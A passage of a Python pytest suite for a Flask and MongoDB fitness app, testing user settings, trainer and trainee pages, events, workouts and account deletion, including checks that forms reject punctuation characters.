returned_value = client.post('/usersettings', data=dict(
username="testtrainee",
password="newpassword",
repassword="newpassword",
name="another",
phone="0987654321",
lng=0,
lat=0
), follow_redirects=True)
assert returned_value.status_code == 200
# Check database
database_user = g.database.get_trainee_by_username("testtrainee")
assert database_user._id == database_user_id
assert database_user.username == 'testtrainee'
assert database_user.password == password_sha256('newpassword')
assert database_user.name == 'another'
assert database_user.phone == '0987654321'
# Login as trainer
login_as_testTrainer(client)
# Get id before change
database_user_id = g.database.get_trainer_by_username("testtrainer")._id
# Check profile page.
returned_value = client.post('/usersettings', data=dict(
username="testtrainer",
password="newpassword",
repassword="newpassword",
name="another",
phone="0987654321",
lng=0,
lat=0
), follow_redirects=True)
assert returned_value.status_code == 200
# Check database
database_user = g.database.get_trainer_by_username("testtrainer")
assert database_user._id == database_user_id
assert database_user.username == 'testtrainer'
assert database_user.password == password_sha256('newpassword')
assert database_user.name == 'another'
assert database_user.phone == '0987654321'
# Checking alphaPattern
for character in '!@#$%^&*()_+\\<>.':
trainer = g.database.get_trainer_by_username("testtrainer")
trainer.username = f"abc{character}"
returned_value = client.post('/usersettings', data=dict(
username=trainer.username,
password=trainer.password,
repassword=trainer.password,
name=trainer.name,
phone=trainer.phone
), follow_redirects=True)
assert returned_value.status_code == 400
for character in '!@#$%^&*()_+\\<>.':
trainer = g.database.get_trainer_by_username("testtrainer")
trainer.password = f"abc{character}"
returned_value = client.post('/usersettings', data=dict(
username=trainer.username,
password=trainer.password,
repassword=trainer.password,
name=trainer.name,
phone=trainer.phone
), follow_redirects=True)
assert returned_value.status_code == 400
for character in '!@#$%^&*()_+\\<>.':
trainer = g.database.get_trainer_by_username("testtrainer")
repassword = f"abc{character}"
returned_value = client.post('/usersettings', data=dict(
username=trainer.username,
password=trainer.password,
repassword=repassword,
name=trainer.name,
phone=trainer.phone
), follow_redirects=True)
assert returned_value.status_code == 400
for character in '!@#$%^&*()_+\\<>.':
trainer = g.database.get_trainer_by_username("testtrainer")
trainer.name = f"abc{character}"
returned_value = client.post('/usersettings', data=dict(
username=trainer.username,
password=trainer.password,
repassword=repassword,
name=trainer.name,
phone=trainer.phone
), follow_redirects=True)
assert returned_value.status_code == 400
for character in '!@#$%^&*()_+\\<>.':
trainer = g.database.get_trainer_by_username("testtrainer")
returned_value = client.post('/usersettings', data=dict(
username=trainer.username,
password=trainer.password,
repassword=repassword,
name=trainer.name,
phone=trainer.phone
), follow_redirects=True)
assert returned_value.status_code == 400
for character in '!@#$%^&*()_+\\<>.a':
trainer = g.database.get_trainer_by_username("testtrainer")
trainer.phone = f"abc{character}"
returned_value = client.post('/usersettings', data=dict(
username=trainer.username,
password=trainer.password,
repassword=repassword,
name=trainer.name,
phone=trainer.phone
), follow_redirects=True)
assert returned_value.status_code == 400
def test_logout(client):
"""Testing the logout page"""
# Login
login_as_testTrainee(client)
# Logout with redirects on
returned_value = client.get('/logout', follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
assert 'user_id' not in session
# Login
login_as_testTrainee(client)
# Logout with redirects off
returned_value = client.get('/logout', follow_redirects=False)
assert returned_value.status_code == 302
assert g.user is None
assert 'user_id' not in session
def test_trainer_overview(client):
"""Testing the trainer overview page"""
# Trainer Overview no user
returned_value = client.get('/trainer_overview', follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
assert b'login' in returned_value.data
# Login as Trainee
login_as_testTrainee(client)
# Trainer Overview as Trainee
returned_value = client.get('/trainer_overview', follow_redirects=True)
assert returned_value.status_code == 403
assert type(g.user) == Trainee
assert b'Page Forbidden' in returned_value.data
# Login as Trainer
login_as_testTrainer(client)
trainee = g.database.get_trainee_by_username('testtrainee')
trainer = g.database.get_trainer_by_username('testtrainer')
g.database.mongo.trainer.update_one(
{"_id": ObjectId(trainer._id)},
{
"$addToSet": {
"trainees": ObjectId(trainee._id)
}
})
invitation = g.database.mongo.invitation.insert_one({
'sender': ObjectId(trainee._id),
'recipient': ObjectId(trainer._id)
})
# Trainer Overview as Trainer
returned_value = client.get('/trainer_overview', follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainer
assert b'/trainee_search' in returned_value.data
assert b'/list_trainees' in returned_value.data
g.database.mongo.invitation.delete_many({
'sender': ObjectId(trainee._id)
})
def test_list_trainees(client):
"""Testing the trainer list page"""
# Trainer Overview no user
returned_value = client.get('/list_trainees',
follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
assert b'login' in returned_value.data
# Login as Trainee
login_as_testTrainee(client)
# Trainer Overview as Trainee
returned_value = client.get('/list_trainees',
follow_redirects=True)
assert returned_value.status_code == 403
assert type(g.user) == Trainee
assert b'Page Forbidden' in returned_value.data
# Login as Trainer
login_as_testTrainer(client)
# Trainer Overview as Trainer
returned_value = client.get('/list_trainees',
follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainer
assert b'No trainees found' in returned_value.data
trainee = g.database.get_trainee_by_username('testtrainee')
trainer = g.database.get_trainer_by_username('testtrainer')
g.database.mongo.trainer.update_one(
{"_id": ObjectId(trainer._id)},
{
"$addToSet": {
"trainees": ObjectId(trainee._id)
}
})
# Trainer Overview as Trainer
returned_value = client.get('/list_trainees',
follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainer
assert b'No trainees found' not in returned_value.data
def test_trainee_overview(client):
"""Testing the trainer overview page"""
# Trainer Overview no user
returned_value = client.get('/trainee_overview', follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
assert b'login' in returned_value.data
# Login as Trainee
login_as_testTrainee(client)
trainee = g.database.get_trainee_by_username('testtrainee')
trainer = g.database.get_trainer_by_username('testtrainer')
g.database.mongo.trainee.update_one(
{"_id": ObjectId(trainee._id)},
{
"$addToSet": {
"trainers": ObjectId(trainer._id)
}
})
invitation = g.database.mongo.invitation.insert_one({
'sender': ObjectId(trainer._id),
'recipient': ObjectId(trainee._id)
})
# Trainee Overview as Trainee
returned_value = client.get('/trainee_overview', follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainee
assert b'/trainer_search' in returned_value.data
assert b'/list_trainers' in returned_value.data
g.database.mongo.invitation.delete_many({
'sender': ObjectId(trainer._id)
})
# Login as Trainer
login_as_testTrainer(client)
# Trainee Overview as Trainer
returned_value = client.get('/trainee_overview',
follow_redirects=True)
assert returned_value.status_code == 403
assert type(g.user) == Trainer
assert b'Page Forbidden' in returned_value.data
def test_trainer_search(client):
"""Test the /trainer_search page to add a trainer to a trainee"""
returned_value = client.get('/trainer_search', follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
assert b'login' in returned_value.data
login_as_testTrainer(client)
returned_value = client.get('/trainer_search', follow_redirects=True)
assert returned_value.status_code == 403
assert type(g.user) == Trainer
assert b'Page Forbidden' in returned_value.data
login_as_testTrainee(client)
returned_value = client.get('/trainer_search', follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainee
assert b'Overview' in returned_value.data
assert b'Workouts' in returned_value.data
assert b'Schedule' in returned_value.data
assert b'Diets' in returned_value.data
# Search for trainer with only first 3 letters
returned_value = client.post('/trainer_search',
data=dict(
trainer_name=test_trainer.username[0:3]
), follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainee
assert bytes(test_trainer.username, 'utf-8') in returned_value.data
assert bytes('/profile/%s' % test_trainer.username,
'utf-8') in returned_value.data
assert b'Schedule' in returned_value.data
assert b'Diets' in returned_value.data
def test_trainee_search(client):
"""Test the /trainee_search page to add a trainee to a trainer"""
returned_value = client.get('/trainee_search', follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
assert b'login' in returned_value.data
login_as_testTrainee(client)
returned_value = client.get('/trainee_search', follow_redirects=True)
assert returned_value.status_code == 403
assert type(g.user) == Trainee
assert b'Page Forbidden' in returned_value.data
login_as_testTrainer(client)
returned_value = client.get('/trainee_search', follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainer
assert b'Overview' in returned_value.data
assert b'Workouts' in returned_value.data
assert b'Schedule' in returned_value.data
assert b'Diets' in returned_value.data
# Search for trainer with only first 3 letters
returned_value = client.post('/trainee_search',
data=dict(
trainee_name=test_trainee.username[0:3]
), follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainer
assert bytes(test_trainee.username, 'utf-8') in returned_value.data
assert bytes('/profile/%s' % test_trainee.username,
'utf-8') in returned_value.data
assert b'Schedule' in returned_value.data
assert b'Diets' in returned_value.data
def test_add_trainer(client):
"""Testing the add_trainer page"""
# Redirect to login page if not logged in
returned_value = client.post('/add_trainer',
data={
'trainer_id': 0
},
follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
assert b'login' in returned_value.data
login_as_testTrainer(client)
# Get a 403 if logged in as trainer
returned_value = client.post('/add_trainer',
data={
'trainer_id': 0
},
follow_redirects=True)
assert returned_value.status_code == 403
assert type(g.user) == Trainer
assert b'Page Forbidden!' in returned_value.data
login_as_testTrainee(client)
# Add a trainer as a trainee
trainer_id = g.database.get_trainer_by_username(test_trainer.username)._id
returned_value = client.post('/add_trainer',
data={
'trainer_id': trainer_id
},
follow_redirects=True)
assert returned_value.status_code == 204
assert type(g.user) == Trainee
returned_value = client.post('/add_trainer',
data={
'trainer_id': "123456789012345678901234"
},
follow_redirects=True)
assert returned_value.status_code == 500
assert type(g.user) == Trainee
def test_add_trainee(client):
"""Testing the add_trainee page"""
# Redirect to login page if not logged in
returned_value = client.post('/add_trainee',
data={
'trainer_id': 0
},
follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
assert b'login' in returned_value.data
login_as_testTrainee(client)
# Get a 403 if logged in as trainee
returned_value = client.post('/add_trainee',
data={
'trainer_id': 0
},
follow_redirects=True)
assert returned_value.status_code == 403
assert type(g.user) == Trainee
assert b'Page Forbidden!' in returned_value.data
login_as_testTrainer(client)
# Add a trainer as a trainer
trainee_id = g.database.get_trainee_by_username(test_trainee.username)._id
returned_value = client.post('/add_trainee',
data={
'trainee_id': trainee_id
},
follow_redirects=True)
assert returned_value.status_code == 204
assert type(g.user) == Trainer
returned_value = client.post('/add_trainee',
data={
'trainee_id': "123456789012345678901234"
},
follow_redirects=True)
assert returned_value.status_code == 500
assert type(g.user) == Trainer
def test_list_trainers(client):
"""Testing the trainee overview page"""
returned_value = client.get('/list_trainers',
follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
# Login as Trainee
login_as_testTrainee(client)
returned_value = client.get('/list_trainers',
follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainee
assert type(g.user) != Trainer
trainee = g.database.get_trainee_by_username('testtrainee')
trainer = g.database.get_trainer_by_username('testtrainer')
g.database.mongo.trainee.update_one(
{"_id": ObjectId(trainee._id)},
{
"$addToSet": {
"trainers": ObjectId(trainer._id)
}
})
returned_value = client.get('/list_trainers',
follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainee
assert b'No trainers found' not in returned_value.data
login_as_testTrainer(client)
returned_value = client.get('/list_trainers',
follow_redirects=True)
assert returned_value.status_code == 403
assert type(g.user) == Trainer
assert b'Page Forbidden' in returned_value.data
def test_trainee_schedule(client):
"""Testing the trainer overview page"""
# Trainer Overview no user
returned_value = client.get('/schedule',
follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
# Login as Trainee
login_as_testTrainee(client)
# Trainee Overview as Trainee
returned_value = client.get('/schedule',
follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainee
trainee = g.database.get_trainee_by_username('testtrainee')
trainer = g.database.get_trainer_by_username('testtrainer')
try:
event = Event(
_id=None,
title='testEvent',
creator_id=trainee._id,
description='a description',
date=datetime(2020, 3, 6),
participant_id=trainer._id
)
g.database.mongo.event.delete_many({
'title': event.title,
'creator_id': ObjectId(trainee._id)
})
g.database.create_event(event)
database_event = g.database.mongo.event.find_one({
'title': event.title,
'creator_id': ObjectId(trainee._id)
})
assert database_event is not None
returned_value = client.get('/schedule',
follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainee
assert bytes('{}'.format(event.title), 'utf-8') in returned_value.data
assert bytes('{}'.format(event.date), 'utf-8') in returned_value.data
login_as_testTrainer(client)
# Trainer Overview as Trainer
returned_value = client.get('/schedule',
follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainer
assert bytes('{}'.format(event.title), 'utf-8') in returned_value.data
assert bytes('{}'.format(event.date), 'utf-8') in returned_value.data
finally:
g.database.mongo.event.delete_many({
'title': event.title,
'creator_id': ObjectId(trainee._id)
})
def test_add_event(client):
# Trainer Overview no user
returned_value = client.get('/add_event',
follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
assert b'login' in returned_value.data
trainee = g.database.get_trainee_by_username('testtrainee')
trainer = g.database.get_trainer_by_username('testtrainer')
try:
login_as_testTrainee(client)
returned_value = client.get('/add_event',
follow_redirects=True)
assert type(g.user) is Trainee
assert returned_value.status_code == 200
returned_value = client.post('/add_event',
data=dict(
title='testEvent',
description='a desc',
date='2020-12-2',
time='12:12',
participant_id=trainer._id,
),
follow_redirects=True)
assert type(g.user) is Trainee
assert returned_value.status_code == 200
assert b'Created Event' in returned_value.data
database_event = g.database.mongo.event.find_one({
'title': 'testEvent',
'creator_id': ObjectId(trainee._id)
})
assert database_event is not None
login_as_testTrainer(client)
returned_value = client.get('/add_event',
follow_redirects=True)
assert type(g.user) is Trainer
assert returned_value.status_code == 200
returned_value = client.post('/add_event',
data=dict(
title='testEvent',
description='a desc',
date='2020-12-2',
time='12:12',
participant_id=trainee._id,
),
follow_redirects=True)
assert type(g.user) is Trainer
assert returned_value.status_code == 200
assert b'Created Event' in returned_value.data
database_event = g.database.mongo.event.find_one({
'title': 'testEvent',
'creator_id': ObjectId(trainer._id)
})
assert database_event is not None
finally:
g.database.mongo.event.delete_many({
'title': 'testEvent',
'creator_id': ObjectId(trainee._id)
})
def test_display_event(client):
# Trainer Overview no user
returned_value = client.get('/event/123/123',
follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
assert b'login' in returned_value.data
trainee = g.database.get_trainee_by_username('testtrainee')
trainer = g.database.get_trainer_by_username('testtrainer')
try:
login_as_testTrainee(client)
event = Event(
_id=None,
title='testEvent',
creator_id=trainee._id,
description='a description',
date=datetime(2020, 3, 6),
participant_id=trainer._id
)
g.database.mongo.event.delete_many({
'title': event.title,
'creator_id': ObjectId(trainee._id)
})
g.database.create_event(event)
database_event = g.database.mongo.event.find_one({
'title': event.title,
'creator_id': ObjectId(trainee._id)
})
assert database_event is not None
returned_value = client.get(f'/event/{trainee._id}/{event.title}',
follow_redirects=True)
assert type(g.user) is Trainee
assert returned_value.status_code == 200
assert bytes(''.format(event.title), 'utf-8') in returned_value.data
assert bytes(''.format(event.description),
'utf-8') in returned_value.data
assert bytes(''.format(event.date), 'utf-8') in returned_value.data
finally:
g.database.mongo.event.delete_many({
'title': 'testEvent',
'creator_id': ObjectId(trainee._id)
})
def test_page_forbidden(client):
"""Testing the 403 page"""
# Loggin in correctly
login_as_testTrainee(client)
# Trying to access restricted area as Trainee
returned_value = client.get('/trainer_overview', follow_redirects=True)
assert returned_value.status_code == 403
assert b'Page Forbidden!' in returned_value.data
def test_page_not_found(client):
"""Testing the 404 page"""
returned_value = client.get('/shouldnotexist', follow_redirects=True)
assert returned_value.status_code == 404
assert b'Page not found!' in returned_value.data
def test_page_bad_request(client):
"""Testing the 400 page"""
# Login as Trainee
returned_value = client.post('/login', data=dict(
username="testtrainee",
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Could not log you in!' not in returned_value.data
assert b'Bad Request!' in returned_value.data
def test_new_workout(client):
"""Testing the new workout page"""
# Not logged in
returned_value = client.get('/new_workout', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
assert g.user is None
# Login as Trainee
login_as_testTrainee(client)
returned_value = client.get('/new_workout', follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainee
assert b'Difficulty' in returned_value.data
assert b'Workout Name' in returned_value.data
assert b'Type your workout description here' in returned_value.data
assert b'Create Routine' in returned_value.data
# Adding a workout as a trainer
g.database.mongo.workout.delete_many({
'creator_id': g.user._id
})
# With difficulty = novice
new_workout = Workout(
_id=None,
creator_id=g.user._id,
difficulty="novice",
name="workout_test_one",
about="This is a super cool description of what the workout is...\nwoo!",
total_time="20",
reps="10",
miles="2",
category="Cardio"
)
returned_value = client.post('/new_workout', data=dict(
difficulty=new_workout.difficulty,
name=new_workout.name,
about=new_workout.about,
total_time=new_workout.total_time,
reps=new_workout.reps,
miles=new_workout.miles,
category=new_workout.category
), follow_redirects=True)
assert b'Workout has been added!' in returned_value.data
database_workout = g.database.get_workout_by_attributes(name="workout_test_one",
creator_id=g.user._id)
new_workout._id = database_workout._id
assert database_workout.as_dict() == new_workout.as_dict()
returned_value = client.post('/new_workout', data=dict(
difficulty=new_workout.difficulty,
name=new_workout.name,
about=new_workout.about,
total_time=new_workout.total_time,
reps=new_workout.reps,
miles=new_workout.miles,
category=new_workout.category
), follow_redirects=True)
assert returned_value.status_code == 400
assert b'Workout name already exists under your account!' in returned_value.data
g.database.remove_workout(new_workout._id)
# With difficulty = intermediate
new_workout = Workout(
_id=None,
creator_id=g.user._id,
difficulty="intermediate",
name="workout_test_one",
about="This is a super cool description of what the workout is...\nwoo!",
total_time="20",
reps="10",
miles="2",
category="Cardio"
)
returned_value = client.post('/new_workout', data=dict(
difficulty=new_workout.difficulty,
name=new_workout.name,
about=new_workout.about,
total_time=new_workout.total_time,
reps=new_workout.reps,
miles=new_workout.miles,
category=new_workout.category
), follow_redirects=True)
assert b'Workout has been added!' in returned_value.data
database_workout = g.database.get_workout_by_attributes(name="workout_test_one",
creator_id=g.user._id)
new_workout._id = database_workout._id
assert database_workout.as_dict() == new_workout.as_dict()
g.database.remove_workout(new_workout._id)
# With difficulty = experienced
new_workout = Workout(
_id=None,
creator_id=g.user._id,
difficulty="experienced",
name="workout_test_one",
about="This is a super cool description of what the workout is...\nwoo!",
total_time="20",
reps="10",
miles="2",
category="Cardio"
)
returned_value = client.post('/new_workout', data=dict(
difficulty=new_workout.difficulty,
name=new_workout.name,
about=new_workout.about,
total_time=new_workout.total_time,
reps=new_workout.reps,
miles=new_workout.miles,
category=new_workout.category
), follow_redirects=True)
assert b'Workout has been added!' in returned_value.data
database_workout = g.database.get_workout_by_attributes(name="workout_test_one",
creator_id=g.user._id)
new_workout._id = database_workout._id
assert database_workout.as_dict() == new_workout.as_dict()
g.database.remove_workout(new_workout._id)
# With difficulty = superstar
new_workout = Workout(
_id=None,
creator_id=g.user._id,
difficulty="superstar",
name="workout_test_one",
about="This is a super cool description of what the workout is...\nwoo!",
total_time="20",
reps="10",
miles="2",
category="Cardio"
)
returned_value = client.post('/new_workout', data=dict(
difficulty=new_workout.difficulty,
name=new_workout.name,
about=new_workout.about,
total_time=new_workout.total_time,
reps=new_workout.reps,
miles=new_workout.miles,
category=new_workout.category
), follow_redirects=True)
assert b'Workout has been added!' in returned_value.data
database_workout = g.database.get_workout_by_attributes(name="workout_test_one",
creator_id=g.user._id)
new_workout._id = database_workout._id
assert database_workout.as_dict() == new_workout.as_dict()
g.database.remove_workout(new_workout._id)
# Login as Trainer
login_as_testTrainer(client)
returned_value = client.get('/new_workout', follow_redirects=True)
assert returned_value.status_code == 200
assert type(g.user) == Trainer
assert b'Difficulty' in returned_value.data
assert b'Workout Name' in returned_value.data
assert b'Type your workout description here' in returned_value.data
assert b'Create Routine' in returned_value.data
@pytest.mark.skip
def test_search_workout(client):
"""Testing the search workout page"""
# Not logged in
returned_value = client.get('/search_workout', follow_redirects=True)
assert returned_value.status_code == 200
trainee = g.database.get_trainee_by_username('testtrainee')
trainer = g.database.get_trainer_by_username('testtrainer')
try:
# Login as Trainee
login_as_testTrainee(client)
sleep(.5)
returned_value = client.get('/search_workout', follow_redirects=True)
assert returned_value.status_code == 200
login_as_testTrainee(client)
workoutTest = Workout(
_id=None,
creator_id=trainer._id,
name="testWorkout",
difficulty="easy",
about="2 Pushups, 1 Jumping Jack",
total_time="20",
reps="10",
miles="2",
category="Cardio"
)
g.database.add_workout(workoutTest)
database_workout = g.database.get_all_workout_by_attributes(name=workoutTest.name,
creator_id=trainer._id)
login_as_testTrainer(client)
sleep(.5)
returned_value = client.get('/search_workout',
follow_redirects=True)
assert returned_value.status_code == 200
sleep(.5)
returned_value = client.post('/search_workout',
data=dict(
search_workout="workoutTest"
), follow_redirects=True)
finally:
g.database.mongo.workout.delete_many({
'creator_id': ObjectId(trainee._id)
})
g.database.mongo.workout.delete_many({
'creator_id': ObjectId(trainer._id)
})
def test_workout(client):
"""Testing the workout page"""
# Not logged in
returned_value = client.get('/workout/adjr/00000', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
assert g.user is None
trainee = g.database.get_trainee_by_username('testtrainee')
trainer = g.database.get_trainer_by_username('testtrainer')
workoutTest = Workout(
_id=None,
creator_id=trainer._id,
name="testWorkout",
difficulty="easy",
about="2 Pushups, 1 Jumping Jack",
total_time="20",
reps="10",
miles="2",
category="Cardio"
)
g.database.add_workout(workoutTest)
database_workout = g.database.get_workout_by_attributes(name=workoutTest.name,
creator_id=trainer._id)
login_as_testTrainer(client)
returned_value = client.get(f'/workout/{trainer._id}/{database_workout.name}',
follow_redirects=True)
assert returned_value.status_code == 200
assert bytes("{}".format(database_workout.name),
"utf-8") in returned_value.data
assert bytes("{}".format(database_workout.difficulty),
"utf-8") in returned_value.data
assert bytes("{}".format(database_workout.about),
"utf-8") in returned_value.data
returned_value = client.post(f'/workout/{trainer._id}/{database_workout.name}',
data=dict(
completed='false',
total_time='20',
reps='10',
miles='2',
category='Cardio'
),
follow_redirects=True)
assert returned_value.status_code == 400
# Complete an Easy workout
returned_value = client.post(f'/workout/{trainer._id}/{database_workout.name}',
data=dict(
completed='true',
total_time='20',
reps='10',
miles='2',
category='Cardio'
),
follow_redirects=True)
trainer = g.database.get_trainer_by_username('testtrainer')
database_workout = g.database.get_workout_by_attributes(name=workoutTest.name,
creator_id=trainer._id)
assert returned_value.status_code == 200
assert trainer is not None
assert trainer.exp > 0
assert database_workout.is_complete is True
g.database.mongo.trainer.update_one(
{"_id": ObjectId(trainer._id)},
{
"$set": {
"exp": 0
}
})
g.database.mongo.workout.update_one(
{"_id": ObjectId(database_workout._id)},
{
"$set": {
"is_complete": False
}
})
# Complete an Medium workout
g.database.mongo.workout.update_one(
{"_id": ObjectId(database_workout._id)},
{
"$set": {
"difficulty": "medium"
}
})
returned_value = client.post(f'/workout/{trainer._id}/{database_workout.name}',
data=dict(
completed='true',
total_time='20',
reps='10',
miles='2',
category='Cardio'
),
follow_redirects=True)
trainer = g.database.get_trainer_by_username('testtrainer')
database_workout = g.database.get_workout_by_attributes(name=workoutTest.name,
creator_id=trainer._id)
assert returned_value.status_code == 200
assert trainer is not None
assert trainer.exp > 0
assert database_workout.is_complete is True
g.database.mongo.trainer.update_one(
{"_id": ObjectId(trainer._id)},
{
"$set": {
"exp": 0
}
})
g.database.mongo.workout.update_one(
{"_id": ObjectId(database_workout._id)},
{
"$set": {
"is_complete": False
}
})
# Complete an Hard workout
g.database.mongo.workout.update_one(
{"_id": ObjectId(database_workout._id)},
{
"$set": {
"difficulty": "hard"
}
})
returned_value = client.post(f'/workout/{trainer._id}/{database_workout.name}',
data=dict(
completed='true',
total_time='20',
reps='10',
miles='2',
category='Cardio'
),
follow_redirects=True)
trainer = g.database.get_trainer_by_username('testtrainer')
database_workout = g.database.get_workout_by_attributes(name=workoutTest.name,
creator_id=trainer._id)
assert returned_value.status_code == 200
assert trainer is not None
assert trainer.exp > 0
assert database_workout.is_complete is True
g.database.mongo.trainer.update_one(
{"_id": ObjectId(trainer._id)},
{
"$set": {
"exp": 0
}
})
g.database.mongo.workout.update_one(
{"_id": ObjectId(database_workout._id)},
{
"$set": {
"is_complete": False
}
})
# Complete an insane workout
g.database.mongo.workout.update_one(
{"_id": ObjectId(database_workout._id)},
{
"$set": {
"difficulty": "insane"
}
})
returned_value = client.post(f'/workout/{trainer._id}/{database_workout.name}',
data=dict(
completed='true',
total_time='20',
reps='10',
miles='2',
category='Cardio'
),
follow_redirects=True)
trainer = g.database.get_trainer_by_username('testtrainer')
database_workout = g.database.get_workout_by_attributes(name=workoutTest.name,
creator_id=trainer._id)
assert returned_value.status_code == 200
assert trainer is not None
assert trainer.exp > 0
assert database_workout.is_complete is True
g.database.mongo.trainer.update_one(
{"_id": ObjectId(trainer._id)},
{
"$set": {
"exp": 0
}
})
g.database.mongo.workout.update_one(
{"_id": ObjectId(database_workout._id)},
{
"$set": {
"is_complete": False
}
})
# Test if trainee can complete a workout
login_as_testTrainee(client)
workoutTest.creator_id = trainee._id
g.database.add_workout(workoutTest)
returned_value = client.post(f'/workout/{trainee._id}/{database_workout.name}',
data=dict(
completed='true',
total_time='20',
reps='10',
miles='2',
category='Cardio'
),
follow_redirects=True)
trainee = g.database.get_trainee_by_username('testtrainee')
database_workout = g.database.get_workout_by_attributes(name=workoutTest.name,
creator_id=trainee._id)
assert returned_value.status_code == 200
assert trainee is not None
assert trainee.exp > 0
assert database_workout.is_complete is True
g.database.mongo.trainee.update_one(
{"_id": ObjectId(trainee._id)},
{
"$set": {
"exp": 0
}
})
g.database.mongo.workout.update_one(
{"_id": ObjectId(database_workout._id)},
{
"$set": {
"is_complete": False
}
})
g.database.remove_workout(database_workout._id)
returned_value = client.get(f'/workout/{trainer._id}/zebra',
follow_redirects=True)
assert returned_value.status_code == 404
def test_workout_overview(client):
"""Testing the workout overview page"""
# Not logged in
returned_value = client.get('/workout_overview', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
assert g.user is None
# Login as Trainee
login_as_testTrainee(client)
returned_value = client.get('/workout_overview', follow_redirects=True)
assert returned_value.status_code == 200
assert b'Create a new workout routine.' in returned_value.data
assert b'Search for workout routine.' in returned_value.data
assert b'Your created workouts.' in returned_value.data
# Login as Trainer
login_as_testTrainer(client)
returned_value = client.get('/workout_overview', follow_redirects=True)
assert returned_value.status_code == 200
assert b'Create a new workout routine.' in returned_value.data
assert b'Search for workout routine.' in returned_value.data
assert b'Your created workouts.' in returned_value.data
def test_workout_list(client):
"""Testing the workout list page"""
try:
# Not logged in
returned_value = client.get('/workout_list', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
assert g.user is None
login_as_testTrainer(client)
returned_value = client.get('/workout_list', follow_redirects=True)
assert returned_value.status_code == 200
assert b'You have no created workouts' in returned_value.data
assert type(g.user) is Trainer
login_as_testTrainee(client)
trainee = g.database.get_trainee_by_username(test_trainee.username)
workout = g.database.add_workout(Workout(
_id=None,
creator_id=trainee._id,
name="testWorkout",
difficulty="expert",
about="This is an about",
total_time="20",
reps="10",
miles="2",
category="Cardio"
))
database_workout = g.database.mongo.workout.find_one({
'creator_id': ObjectId(trainee._id),
'name': "testWorkout"
})
returned_value = client.get('/workout_list', follow_redirects=True)
assert returned_value.status_code == 200
assert bytes('{}'.format(database_workout['name']),
'utf-8') in returned_value.data
assert type(g.user) is Trainee
finally:
database_workout = g.database.mongo.workout.find_one({
'creator_id': ObjectId(trainee._id),
'name': "testWorkout"
})
if database_workout is not None:
trainee = g.database.get_trainee_by_username(test_trainee.username)
g.database.mongo.workout.delete_many({
'name': "testWorkout",
'creator_id': ObjectId(trainee._id)
})
def test_delete_user(client):
"""Testing the delete user route"""
# Not logged in
returned_value = client.get('/delete', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
# login as testTrainee
login_as_testTrainee(client)
returned_value = client.get('/delete', follow_redirects=True)
assert returned_value.status_code == 200
assert b'Delete Account' in returned_value.data
# delete testTrainee
returned_value = client.post(
'/delete', data={'confirmation': 'true'}, follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
assert 'user_id' not in session
assert g.database.get_trainee_by_username("testtrainee") is None
# login as testTrainer
login_as_testTrainer(client)
# delete testTrainer
returned_value = client.post(
'/delete', data={'confirmation': 'true'}, follow_redirects=True)
assert returned_value.status_code == 200
assert g.user is None
assert 'user_id' not in session
assert g.database.get_trainer_by_username("testtrainer") is None
def test_delete_user_without_confirmation(client):
"""Reseting the environment and deleting without a confirmation should return a 500"""
login_as_testTrainer(client)
returned_value = client.post('/delete',
data={'confirmation': 'false'},
follow_redirects=True)
assert returned_value.status_code == 500
def test_remove_added_user(client):
# Not logged in
returned_value = client.post('/remove_added_user', follow_redirects=True)
assert returned_value.status_code == 200
assert b'login' in returned_value.data
assert g.user is None
login_as_testTrainee(client)
returned_value = client.post('/remove_added_user',
data={
'confirmation': 'false',
'user_id': 'abc'
},
follow_redirects=True)
assert returned_value.status_code == 500
returned_value = client.post('/remove_added_user',
data={
'confirmation': 'true',
'user_id': ''
},
follow_redirects=True)
assert returned_value.status_code == 500
trainee = g.database.get_trainee_by_username("testtrainee")
trainer = g.database.get_trainer_by_username("testtrainer")
# Remove trainer from trainee
g.database.mongo.trainee.update_one(
{"_id": ObjectId(trainee._id)},
{
"$addToSet": {
"trainers": ObjectId(trainer._id)
}
})
assert ObjectId(trainer._id) in g.database.mongo.trainee.find_one({
'_id': ObjectId(trainee._id)
})['trainers']
returned_value = client.post('/remove_added_user',
data={
'confirmation': 'true',
'user_id': str(trainer._id)
},
follow_redirects=True)
assert returned_value.status_code == 204
# Remove trainee from trainer
login_as_testTrainer(client)
g.database.mongo.trainer.update_one(
{"_id": ObjectId(trainer._id)},
{
"$addToSet": {
"trainees": ObjectId(trainee._id)
}
})
assert ObjectId(trainee._id) in g.database.mongo.trainer.find_one({
'_id': ObjectId(trainer._id)
})['trainees']
